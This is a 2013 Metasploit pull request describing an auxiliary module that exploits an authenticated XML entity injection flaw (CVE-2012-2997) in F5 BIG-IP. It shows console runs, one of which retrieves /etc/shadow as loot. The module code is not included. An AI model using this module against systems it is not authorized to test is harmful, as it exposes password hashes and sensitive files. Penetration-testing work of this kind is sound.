rapid7/metasploit-framework — pull request #2186 by viable-hartman (2013-08-02 19:53:27+00:00)
Title: Get arbitrary file access to F5 files with a valid username and password

# XML Entity Injection with Valid Username and Password.

This is an auxiliary module that allows a valid F5 BIG-IP user to gain arbitrary file access on unpatched F5's utilizing an authentication cookie in an XML entity injection attack. It can be run as follows on vulnerable F5's. It will provide feed back for F5's that are not vulnerable. It will also provide feedback in the event the login is not successful, and various other circumstances. This module is for CVE 2012-2997.

### Vulnerable run
```
msf > use auxiliary/scanner/http/f5_bigip_fileaccess
msf auxiliary(f5_bigip_fileaccess) > set PASSWORD
PASSWORD =>
msf auxiliary(f5_bigip_fileaccess) > set USERNAME
USERNAME =>
msf auxiliary(f5_bigip_fileaccess) > set RHOSTS
RHOSTS =>
msf auxiliary(f5_bigip_fileaccess) > set VERBOSE true
VERBOSE => true
msf auxiliary(f5_bigip_fileaccess) > run

[*] Attempting login with '' : ''
[*] Acessing Login URI:'/tmui/logmein.html?msgcode=2&'
[+] SUCCESSFUL LOGIN. '' : ''
[+] FOUND BIGIPAuthCookie. ''
[*] :443 Connecting to F5 BIG-IP Interface
[*] :443 F5 BIG-IP - /etc/shadow saved in /.msf4/loot/20130721194905_default__f5.bigip.file_400188.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(f5_bigip_fileaccess) >
```

### Not Vulnerable run:
```
msf > use auxiliary/scanner/http/f5_bigip_fileaccess
msf auxiliary(f5_bigip_fileaccess) > set PASSWORD
PASSWORD =>
msf auxiliary(f5_bigip_fileaccess) > set USERNAME
USERNAME =>
msf auxiliary(f5_bigip_fileaccess) > set RHOSTS
RHOSTS =>
msf auxiliary(f5_bigip_fileaccess) > set VERBOSE true
VERBOSE => true
msf auxiliary(f5_bigip_fileaccess) > run

[*] Attempting login with '' : ''
[*] Acessing Login URI:'/tmui/logmein.html?msgcode=2&'
[+] SUCCESSFUL LOGIN. '' : ''
[+] FOUND BIGIPAuthCookie. ''
[*] :443 Connecting to F5 BIG-IP Interface
[-] LOOT Empty. F5 BIG-IP is Likely Patched
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(f5_bigip_fileaccess) >
```